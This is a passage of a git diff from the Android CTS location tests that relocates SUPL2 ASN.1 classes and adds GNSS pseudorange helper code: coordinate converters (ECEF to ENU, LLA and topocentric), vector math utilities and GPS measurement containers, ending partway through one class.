diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTimeResult.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/UmbCellInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/Ver2_CellInfo_extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBSInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBsID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxBsID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxBsID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMR.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMR.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMR.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxRTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WimaxRTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2EnuConverter.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2EnuConverter.java
new file mode 100644
index 0000000..3765cfc
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2EnuConverter.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import org.apache.commons.math.linear.Array2DRowRealMatrix;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to local ENU (East, North,
+ * and Up).
+ *
+ * <p> Source: reference from Navipedia:
+ * http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
+ */
+
+public class Ecef2EnuConverter {
+
+ /**
+ * Converts a vector represented by coordinates ecefX, ecefY, ecefZ in an
+ * Earth-Centered Earth-Fixed (ECEF) Cartesian system into a vector in a
+ * local east-north-up (ENU) Cartesian system.
+ *
+ * <p> For example it can be used to rotate a speed vector or position offset vector to ENU.
+ *
+ * @param ecefX X coordinates in ECEF
+ * @param ecefY Y coordinates in ECEF
+ * @param ecefZ Z coordinates in ECEF
+ * @param refLat Latitude in Radians of the Reference Position
+ * @param refLng Longitude in Radians of the Reference Position
+ * @return the converted values in {@code EnuValues}
+ */
+ public static EnuValues convertEcefToEnu(double ecefX, double ecefY, double ecefZ,
+ double refLat, double refLng){
+
+ RealMatrix rotationMatrix = getRotationMatrix(refLat, refLng);
+ RealMatrix ecefCoordinates = new Array2DRowRealMatrix(new double[]{ecefX, ecefY, ecefZ});
+
+ RealMatrix enuResult = rotationMatrix.multiply(ecefCoordinates);
+ return new EnuValues(enuResult.getEntry(0, 0),
+ enuResult.getEntry(1, 0), enuResult.getEntry(2 , 0));
+ }
+
+ /**
+ * Computes a rotation matrix for converting a vector in Earth-Centered Earth-Fixed (ECEF)
+ * Cartesian system into a vector in local east-north-up (ENU) Cartesian system with respect to
+ * a reference location. The matrix has the following content:
+ *
+ * - sinLng cosLng 0
+ * - sinLat * cosLng - sinLat * sinLng cosLat
+ * cosLat * cosLng cosLat * sinLng sinLat
+ *
+ * <p> Reference: Pratap Misra and Per Enge
+ * "Global Positioning System: Signals, Measurements, and Performance" Page 137.
+ *
+ * @param refLat Latitude of reference location
+ * @param refLng Longitude of reference location
+ * @return the Ecef to Enu rotation matrix
+ */
+ public static RealMatrix getRotationMatrix(double refLat, double refLng){
+ RealMatrix rotationMatrix = new Array2DRowRealMatrix(3, 3);
+
+ // Fill in the rotation Matrix
+ rotationMatrix.setEntry(0, 0, -1 * Math.sin(refLng));
+ rotationMatrix.setEntry(1, 0, -1 * Math.cos(refLng) * Math.sin(refLat));
+ rotationMatrix.setEntry(2, 0, Math.cos(refLng) * Math.cos(refLat));
+ rotationMatrix.setEntry(0, 1, Math.cos(refLng));
+ rotationMatrix.setEntry(1, 1, -1 * Math.sin(refLat) * Math.sin(refLng));
+ rotationMatrix.setEntry(2, 1, Math.cos(refLat) * Math.sin(refLng));
+ rotationMatrix.setEntry(0, 2, 0);
+ rotationMatrix.setEntry(1, 2, Math.cos(refLat));
+ rotationMatrix.setEntry(2, 2, Math.sin(refLat));
+ return rotationMatrix;
+ }
+
+ /**
+ * A container for values in ENU (East, North, Up) coordination system.
+ */
+ public static class EnuValues {
+
+ /**
+ * East Coordinates in local ENU
+ */
+ public final double enuEast;
+
+ /**
+ * North Coordinates in local ENU
+ */
+ public final double enuNorth;
+
+ /**
+ * Up Coordinates in local ENU
+ */
+ public final double enuUP;
+
+ /**
+ * Constructor
+ */
+ public EnuValues(double enuEast, double enuNorth, double enuUP){
+ this.enuEast = enuEast;
+ this.enuNorth = enuNorth;
+ this.enuUP = enuUP;
+ }
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2LlaConverter.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2LlaConverter.java
new file mode 100644
index 0000000..f70106b
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/Ecef2LlaConverter.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude, longitude,
+ * and altitude).
+ *
+ * <p> Source: reference from Mathworks: https://microem.ru/files/2012/08/GPS.G1-X-00006.pdf
+ * and http://www.mathworks.com/help/aeroblks/ecefpositiontolla.html
+ */
+
+public class Ecef2LlaConverter {
+ // WGS84 Ellipsoid Parameters
+ private static final double EARTH_SEMI_MAJOR_AXIS_METERS = 6378137.0;
+ private static final double ECCENTRICITY = 8.1819190842622e-2;
+ private static final double INVERSE_FLATENNING = 298.257223563;
+ private static final double MIN_MAGNITUDE_METERS = 1.0e-22;
+ private static final double MAX_ITERATIONS = 15;
+ private static final double RESIDUAL_TOLERANCE = 1.0e-6;
+ private static final double SEMI_MINOR_AXIS_METERS =
+ Math.sqrt(Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) * (1 - Math.pow(ECCENTRICITY, 2)));
+ private static final double SECOND_ECCENTRICITY = Math.sqrt(
+ (Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) - Math.pow(SEMI_MINOR_AXIS_METERS, 2))
+ / Math.pow(SEMI_MINOR_AXIS_METERS, 2));
+ private static final double ECEF_NEAR_POLE_THRESHOLD_METERS = 1.0;
+
+ /**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
+ * longitude, and altitude) using the close form approach
+ *
+ * <p>Inputs are cartesian coordinates x,y,z
+ *
+ * <p>Output is GeodeticLlaValues class containing geodetic latitude (radians), geodetic longitude
+ * (radians), height above WGS84 ellipsoid (m)}
+ */
+ public static GeodeticLlaValues convertECEFToLLACloseForm(double ecefXMeters, double ecefYMeters,
+ double ecefZMeters) {
+
+ // Auxiliary parameters
+ double pMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
+ double thetaRadians =
+ Math.atan2(EARTH_SEMI_MAJOR_AXIS_METERS * ecefZMeters, SEMI_MINOR_AXIS_METERS * pMeters);
+
+ double lngRadians = Math.atan2(ecefYMeters, ecefXMeters);
+ // limit longitude to range of 0 to 2Pi
+ lngRadians = lngRadians % (2 * Math.PI);
+
+ final double sinTheta = Math.sin(thetaRadians);
+ final double cosTheta = Math.cos(thetaRadians);
+ final double tempY = ecefZMeters
+ + Math.pow(SECOND_ECCENTRICITY, 2) * SEMI_MINOR_AXIS_METERS * Math.pow(sinTheta, 3);
+ final double tempX = pMeters
+ - Math.pow(ECCENTRICITY, 2) * EARTH_SEMI_MAJOR_AXIS_METERS * (Math.pow(cosTheta, 3));
+ double latRadians = Math.atan2(tempY, tempX);
+ // Radius of curvature in the vertical prime
+ double curvatureRadius = EARTH_SEMI_MAJOR_AXIS_METERS
+ / Math.sqrt(1 - Math.pow(ECCENTRICITY, 2) * (Math.pow(Math.sin(latRadians), 2)));
+ double altMeters = (pMeters / Math.cos(latRadians)) - curvatureRadius;
+
+ // Correct for numerical instability in altitude near poles
+ boolean polesCheck = Math.abs(ecefXMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS
+ && Math.abs(ecefYMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS;
+ if (polesCheck) {
+ altMeters = Math.abs(ecefZMeters) - SEMI_MINOR_AXIS_METERS;
+ }
+
+ return new GeodeticLlaValues(latRadians, lngRadians, altMeters);
+ }
+
+ /**
+ * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
+ * longitude, and altitude) using iteration approach
+ *
+ * <p>Inputs are cartesian coordinates x,y,z.
+ *
+ * <p>Outputs is GeodeticLlaValues containing geodetic latitude (radians), geodetic longitude
+ * (radians), height above WGS84 ellipsoid (m)}
+ */
+ public static GeodeticLlaValues convertECEFToLLAByIterations(double ecefXMeters,
+ double ecefYMeters, double ecefZMeters) {
+
+ double xyLengthMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
+ double xyzLengthMeters = Math.sqrt(Math.pow(xyLengthMeters, 2) + Math.pow(ecefZMeters, 2));
+
+ double lngRad;
+ if (xyLengthMeters > MIN_MAGNITUDE_METERS) {
+ lngRad = Math.atan2(ecefYMeters, ecefXMeters);
+ } else {
+ lngRad = 0;
+ }
+
+ double sinPhi;
+ if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
+ sinPhi = ecefZMeters / xyzLengthMeters;
+ } else {
+ sinPhi = 0;
+ }
+ // initial latitude (iterate next to improve accuracy)
+ double latRad = Math.asin(sinPhi);
+ double altMeters;
+ if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
+ double ni;
+ double pResidual;
+ double ecefZMetersResidual;
+ // initial height (iterate next to improve accuracy)
+ altMeters = xyzLengthMeters - EARTH_SEMI_MAJOR_AXIS_METERS
+ * (1 - sinPhi * sinPhi / INVERSE_FLATENNING);
+
+ for (int i = 1; i <= MAX_ITERATIONS; i++) {
+ sinPhi = Math.sin(latRad);
+
+ // calculate radius of curvature in prime vertical direction
+ ni = EARTH_SEMI_MAJOR_AXIS_METERS / Math.sqrt(1 - (2 - 1 / INVERSE_FLATENNING)
+ / INVERSE_FLATENNING * Math.sin(latRad) * Math.sin(latRad));
+
+ // calculate residuals in p and ecefZMeters
+ pResidual = xyLengthMeters - (ni + altMeters) * Math.cos(latRad);
+ ecefZMetersResidual = ecefZMeters
+ - (ni * (1 - (2 - 1 / INVERSE_FLATENNING) / INVERSE_FLATENNING) + altMeters)
+ * Math.sin(latRad);
+
+ // update height and latitude
+ altMeters += Math.sin(latRad) * ecefZMetersResidual + Math.cos(latRad) * pResidual;
+ latRad += (Math.cos(latRad) * ecefZMetersResidual - Math.sin(latRad) * pResidual)
+ / (ni + altMeters);
+
+ if (Math.sqrt((pResidual * pResidual + ecefZMetersResidual * ecefZMetersResidual))
+ < RESIDUAL_TOLERANCE) {
+ break;
+ }
+
+ if (i == MAX_ITERATIONS) {
+ System.err.println(
+ "Geodetic coordinate calculation did not converge in " + i + " iterations");
+ }
+ }
+ } else {
+ altMeters = 0;
+ }
+ return new GeodeticLlaValues(latRad, lngRad, altMeters);
+ }
+
+ /**
+ *
+ * Class containing geodetic coordinates: latitude in radians, geodetic longitude in radians
+ * and altitude in meters
+ */
+ public static class GeodeticLlaValues {
+
+ public final double latitudeRadians;
+ public final double longitudeRadians;
+ public final double altitudeMeters;
+
+ public GeodeticLlaValues(double latitudeRadians,
+ double longitudeRadians, double altitudeMeters) {
+ this.latitudeRadians = latitudeRadians;
+ this.longitudeRadians = longitudeRadians;
+ this.altitudeMeters = altitudeMeters;
+ }
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/EcefToTopocentricConverter.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/EcefToTopocentricConverter.java
new file mode 100644
index 0000000..c2f5f78
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/EcefToTopocentricConverter.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Transformations from ECEF coordiantes to Topocentric coordinates
+ */
+public class EcefToTopocentricConverter {
+ private static final double MIN_DISTANCE_MAGNITUDE_METERS = 1.0e-22;
+ private static final int EAST_IDX = 0;
+ private static final int NORTH_IDX = 1;
+ private static final int UP_IDX = 2;
+
+ /**
+ * Transformation of {@code inputVectorMeters} with origin at {@code originECEFMeters} into
+ * topocentric coordinate system. The result is {@code TopocentricAEDValues} containing azimuth
+ * from north +ve clockwise, radians; elevation angle, radians; distance, vector length meters
+ *
+ * <p>Source: http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
+ * http://kom.aau.dk/~borre/life-l99/topocent.m
+ *
+ */
+ public static TopocentricAEDValues convertCartesianToTopocentericRadMeters(
+ final double[] originECEFMeters, final double[] inputVectorMeters) {
+
+ GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(originECEFMeters[0],
+ originECEFMeters[1], originECEFMeters[2]);
+
+ RealMatrix rotationMatrix =
+ Ecef2EnuConverter.
+ getRotationMatrix(latLngAlt.latitudeRadians, latLngAlt.longitudeRadians).transpose();
+ double[] eastNorthUpVectorMeters = GpsMathOperations.matrixByColVectMultiplication(
+ rotationMatrix.transpose().getData(), inputVectorMeters);
+ double eastMeters = eastNorthUpVectorMeters[EAST_IDX];
+ double northMeters = eastNorthUpVectorMeters[NORTH_IDX];
+ double upMeters = eastNorthUpVectorMeters[UP_IDX];
+
+ // calculate azimuth, elevation and height from the ENU values
+ double horizontalDistanceMeters = Math.hypot(eastMeters, northMeters);
+ double azimuthRadians;
+ double elevationRadians;
+
+ if (horizontalDistanceMeters < MIN_DISTANCE_MAGNITUDE_METERS) {
+ elevationRadians = Math.PI / 2.0;
+ azimuthRadians = 0;
+ } else {
+ elevationRadians = Math.atan2(upMeters, horizontalDistanceMeters);
+ azimuthRadians = Math.atan2(eastMeters, northMeters);
+ }
+ if (azimuthRadians < 0) {
+ azimuthRadians += 2 * Math.PI;
+ }
+
+ double distanceMeters = Math.sqrt(Math.pow(inputVectorMeters[0], 2)
+ + Math.pow(inputVectorMeters[1], 2) + Math.pow(inputVectorMeters[2], 2));
+ return new TopocentricAEDValues(elevationRadians, azimuthRadians, distanceMeters);
+ }
+
+ /**
+ * Calculate azimuth, elevation in radians,and distance in meters between the user position in
+ * ECEF meters {@code userPositionECEFMeters} and the satellite position in ECEF meters
+ * {@code satPositionECEFMeters}
+ */
+ public static TopocentricAEDValues calculateElAzDistBetween2Points(
+ double[] userPositionECEFMeters, double[] satPositionECEFMeters) {
+
+ return convertCartesianToTopocentericRadMeters(userPositionECEFMeters,
+ GpsMathOperations.subtractTwoVectors(satPositionECEFMeters, userPositionECEFMeters));
+
+ }
+
+ /**
+ *
+ * Class containing topocenter coordinates: azimuth in radians, elevation in radians, and distance
+ * in meters
+ */
+ public static class TopocentricAEDValues {
+
+ public final double elevationRadians;
+ public final double azimuthRadians;
+ public final double distanceMeters;
+
+ public TopocentricAEDValues(double elevationRadians, double azimuthRadians,
+ double distanceMeters) {
+ this.elevationRadians = elevationRadians;
+ this.azimuthRadians = azimuthRadians;
+ this.distanceMeters = distanceMeters;
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMathOperations.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMathOperations.java
new file mode 100644
index 0000000..502c0e9
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMathOperations.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+
+/**
+ * Helper class containing the basic vector and matrix operations used for calculating the position
+ * solution from pseudoranges
+ * TODO: use standard matrix library to replace the operations in this class.
+ *
+ */
+public class GpsMathOperations {
+
+ /**
+ * Calculates the norm of a vector
+ */
+ public static double vectorNorm(double[] inputVector) {
+ double normSqured = 0;
+ for (int i = 0; i < inputVector.length; i++) {
+ normSqured = Math.pow(inputVector[i], 2) + normSqured;
+ }
+
+ return Math.sqrt(normSqured);
+ }
+
+ /**
+ * Subtract two vectors {@code firstVector} - {@code secondVector}. Both vectors should be of the
+ * same length.
+ */
+ public static double[] subtractTwoVectors(double[] firstVector, double[] secondVector)
+ throws ArithmeticException {
+ double[] result = new double[firstVector.length];
+ if (firstVector.length != secondVector.length) {
+ throw new ArithmeticException("Input vectors are of different lengths");
+ }
+
+ for (int i = 0; i < firstVector.length; i++) {
+ result[i] = firstVector[i] - secondVector[i];
+ }
+
+ return result;
+ }
+
+ /**
+ * Multiply a matrix {@code matrix} by a column vector {@code vector}
+ * ({@code matrix} * {@code vector}) and return the resulting vector {@resultVector}.
+ * {@code matrix} and {@vector} dimensions must match.
+ */
+ public static double[] matrixByColVectMultiplication(double[][] matrix, double[] vector)
+ throws ArithmeticException {
+ double result[] = new double[matrix.length];
+ int matrixLength = matrix.length;
+ int vectorLength = vector.length;
+ if (vectorLength != matrix[0].length) {
+ throw new ArithmeticException("Matrix and vector dimensions do not match");
+ }
+
+ for (int i = 0; i < matrixLength; i++) {
+ for (int j = 0; j < vectorLength; j++) {
+ result[i] += matrix[i][j] * vector[j];
+ }
+ }
+
+ return result;
+ }
+
+ /**
+ * Dot product of a raw vector {@code firstVector} and a column vector {@code secondVector}.
+ * Both vectors should be of the same length.
+ */
+ public static double dotProduct(double[] firstVector, double[] secondVector)
+ throws ArithmeticException {
+ if (firstVector.length != secondVector.length) {
+ throw new ArithmeticException("Input vectors are of different lengths");
+ }
+ double result = 0;
+ for (int i = 0; i < firstVector.length; i++) {
+ result = firstVector[i] * secondVector[i] + result;
+ }
+ return result;
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurement.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurement.java
new file mode 100644
index 0000000..1e98fd4
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurement.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * A container for the received GPS measurements for a single satellite.
+ *
+ * <p>The GPS receiver measurements includes: satellite PRN, accumulated delta range in meters,
+ * accumulated delta range state (boolean), pseudorange rate in meters per second, received signal
+ * to noise ratio dB, accumulated delta range uncertainty in meters, pseudorange rate uncertainty in
+ * meters per second.
+ */
+class GpsMeasurement {
+ /** Time since GPS week start (Nano seconds) */
+ public final long arrivalTimeSinceGpsWeekNs;
+
+ /** Accumulated delta range (meters) */
+ public final double accumulatedDeltaRangeMeters;
+
+ /** Accumulated delta range state */
+ public final boolean validAccumulatedDeltaRangeMeters;
+
+ /** Pseudorange rate measurement (meters per second) */
+ public final double pseudorangeRateMps;
+
+ /** Signal to noise ratio (dB) */
+ public final double signalToNoiseRatioDb;
+
+ /** Accumulated Delta Range Uncertainty (meters) */
+ public final double accumulatedDeltaRangeUncertaintyMeters;
+
+ /** Pseudorange rate uncertainty (meter per seconds) */
+ public final double pseudorangeRateUncertaintyMps;
+
+ public GpsMeasurement(long arrivalTimeSinceGpsWeekNs, double accumulatedDeltaRangeMeters,
+ boolean validAccumulatedDeltaRangeMeters, double pseudorangeRateMps,
+ double signalToNoiseRatioDb, double accumulatedDeltaRangeUncertaintyMeters,
+ double pseudorangeRateUncertaintyMps) {
+ this.arrivalTimeSinceGpsWeekNs = arrivalTimeSinceGpsWeekNs;
+ this.accumulatedDeltaRangeMeters = accumulatedDeltaRangeMeters;
+ this.validAccumulatedDeltaRangeMeters = validAccumulatedDeltaRangeMeters;
+ this.pseudorangeRateMps = pseudorangeRateMps;
+ this.signalToNoiseRatioDb = signalToNoiseRatioDb;
+ this.accumulatedDeltaRangeUncertaintyMeters = accumulatedDeltaRangeUncertaintyMeters;
+ this.pseudorangeRateUncertaintyMps = pseudorangeRateUncertaintyMps;
+ }
+
+ protected GpsMeasurement(GpsMeasurement another) {
+ this(another.arrivalTimeSinceGpsWeekNs, another.accumulatedDeltaRangeMeters,
+ another.validAccumulatedDeltaRangeMeters, another.pseudorangeRateMps,
+ another.signalToNoiseRatioDb, another.accumulatedDeltaRangeUncertaintyMeters,
+ another.pseudorangeRateUncertaintyMps);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurementWithRangeAndUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurementWithRangeAndUncertainty.java
new file mode 100644
index 0000000..838edd0
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/GpsMeasurementWithRangeAndUncertainty.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * A container for the received GPS measurements for a single satellite.
+ *
+ * <p>The container extends {@link GpsMeasurement} to additionally include
+ * {@link #pseudorangeMeters} and {@link #pseudorangeUncertaintyMeters}.
+ */
+class GpsMeasurementWithRangeAndUncertainty extends GpsMeasurement {
+
+ /** Pseudorange measurement (meters) */
+ public final double pseudorangeMeters;
+
+ /** Pseudorange uncertainty (meters) */
+ public final double pseudorangeUncertaintyMeters;
+
+ public GpsMeasurementWithRangeAndUncertainty(GpsMeasurement another, double pseudorangeMeters,
+ double pseudorangeUncertaintyMeters) {
